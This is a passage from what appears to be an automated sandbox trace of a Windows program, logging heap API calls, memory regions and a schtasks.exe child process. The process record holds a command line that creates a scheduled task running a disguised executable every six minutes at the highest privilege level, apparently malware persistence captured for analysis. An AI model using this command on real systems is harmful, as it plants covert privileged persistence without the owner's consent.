returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a20) returned 0x20 [0158.424] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20 | out: hHeap=0x250000) returned 1 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50) returned 1 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a50) returned 0x20 [0158.424] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50 | out: hHeap=0x250000) returned 1 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80) returned 1 [0158.424] GetProcessHeap () returned 0x250000 [0158.424] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a80) returned 0x20 [0158.425] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80 | out: hHeap=0x250000) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ab0) returned 0x20 [0158.425] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0 | out: hHeap=0x250000) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba50) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba50) returned 0x18 [0158.425] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba50 | out: hHeap=0x250000) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0) returned 1 [0158.425] GetProcessHeap () returned 0x250000 [0158.425] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ae0) returned 0x20 [0158.426] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0 | out: hHeap=0x250000) returned 1 [0158.426] GetProcessHeap () returned 0x250000 [0158.426] GetProcessHeap () returned 0x250000 [0158.426] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70) returned 1 [0158.426] GetProcessHeap () returned 0x250000 [0158.426] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b70) returned 0x20 [0158.427] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70 | out: hHeap=0x250000) returned 1 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0) returned 1 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265bd0) returned 0x20 [0158.427] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0 | out: hHeap=0x250000) returned 1 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30) returned 1 [0158.427] GetProcessHeap () returned 0x250000 [0158.427] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c30) returned 0x20 [0158.428] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30 | out: hHeap=0x250000) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c60) returned 0x20 [0158.428] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60 | out: hHeap=0x250000) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba70) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba70) returned 0x18 [0158.428] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba70 | out: hHeap=0x250000) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] GetProcessHeap () returned 0x250000 [0158.428] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0) returned 1 [0158.428] GetProcessHeap () returned 0x250000 [0158.429] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ba0) returned 0x20 [0158.429] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0 | out: hHeap=0x250000) returned 1 [0158.429] GetProcessHeap () returned 0x250000 [0158.429] GetProcessHeap () returned 0x250000 [0158.429] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9f0) returned 1 [0158.429] GetProcessHeap () returned 0x250000 [0158.429] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b9f0) returned 0x18 [0158.429] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9f0 | out: hHeap=0x250000) returned 1 [0158.429] exit (_Code=0) Thread: id = 201 os_tid = 0x528 Process: id = "55" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40025000" os_pid = "0x768" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4186 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4187 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4188 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4189 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4190 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4191 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4192 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4193 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4194 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4195 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4196 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4197 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4198 start_va = 0x1e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4199 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4200 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4201 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4202 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4203 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4204 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4205 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4206 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4207 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4208 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4209 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4210 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4211 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4212 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4213 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4214 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4215 start_va = 0xc0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4216 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4217 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 4218 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4219 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4220 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 4221 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4222 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4223 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4224 start_va = 0x570000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 4225 start_va = 0x700000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 4226 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4227 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4228 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4229 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4230 start_va = 0x1b00000 end_va = 0x1dcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4241 start_va = 0x1dd0000 end_va = 0x1e4cfff monitored = 0 entry_point = 0x1ddcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4242 start_va = 0x1dd0000 end_va = 0x1e4cfff monitored = 0 entry_point = 0x1ddcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4243 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4244 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4245 start_va = 0x1dd0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 4246 start_va = 0x1dd0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 4247 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 4248 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4249 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 4250 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4251 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4252 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4253 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4254 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4255 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4256 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4260 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 202 os_tid = 0x8a4 [0158.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfde0 | out: lpSystemTimeAsFileTime=0x1dfde0*(dwLowDateTime=0x2a9b0280, dwHighDateTime=0x1d8a92a)) [0158.184] GetCurrentProcessId () returned 0x768 [0158.185] GetCurrentThreadId () returned 0x8a4 [0158.185] GetTickCount () returned 0x138bbe5 [0158.185] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1dfde8 | out: lpPerformanceCount=0x1dfde8*=2063704800291) returned 1 [0158.185] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0158.185] __set_app_type (_Type=0x1) [0158.185] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0158.185] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0158.187] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0158.187] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0158.187] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0158.187] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0158.187] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0158.188] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0158.188] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0158.188] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0158.188] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0158.188] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0158.188] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0158.189] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0158.189] WinSqmIsOptedIn () returned 0x0 [0158.189] GetProcessHeap () returned 0x2e0000 [0158.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb9d0 [0158.189] SetLastError (dwErrCode=0x0) [0158.190] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0158.190] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0158.190] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0158.190] VerifyVersionInfoW (in: lpVersionInformation=0x1df5a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1df5a0) returned 1 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb9f0 [0158.190] lstrlenW (lpString="") returned 0 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fba10 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5960 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fba30 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5990 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f59c0 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f59f0 [0158.190] GetProcessHeap () returned 0x2e0000 [0158.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a20 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fba50 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a50 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a80 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5ab0 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5ae0 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fba70 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b10 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b40 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b70 [0158.191] GetProcessHeap () returned 0x2e0000 [0158.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5ba0 [0158.191] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0158.191] SetLastError (dwErrCode=0x0) [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5bd0 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5c00 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5c30 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5c60 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5c90 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fba90 [0158.192] _memicmp (_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.192] GetProcessHeap () returned 0x2e0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x208) returned 0x2fbc30 [0158.192] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2fbc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0158.193] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0158.196] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0158.196] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0158.197] GetProcessHeap () returned 0x2e0000 [0158.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x74e) returned 0x2fc1e0 [0158.197] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0158.197] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2fc1e0 | out: lpData=0x2fc1e0) returned 1 [0158.198] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0158.198] VerQueryValueW (in: pBlock=0x2fc1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1df688, puLen=0x1df6f0 | out: lplpBuffer=0x1df688*=0x2fc57c, puLen=0x1df6f0) returned 1 [0158.201] _memicmp (_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.201] _vsnwprintf (in: _Buffer=0x2fbc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1df668 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0158.201] VerQueryValueW (in: pBlock=0x2fc1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1df6f8, puLen=0x1df6e8 | out: lplpBuffer=0x1df6f8*=0x2fc3a8, puLen=0x1df6e8) returned 1 [0158.201] lstrlenW (lpString="schtasks.exe") returned 12 [0158.201] lstrlenW (lpString="schtasks.exe") returned 12 [0158.201] lstrlenW (lpString=".EXE") returned 4 [0158.201] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0158.202] lstrlenW (lpString="schtasks.exe") returned 12 [0158.202] lstrlenW (lpString=".EXE") returned 4 [0158.202] _memicmp 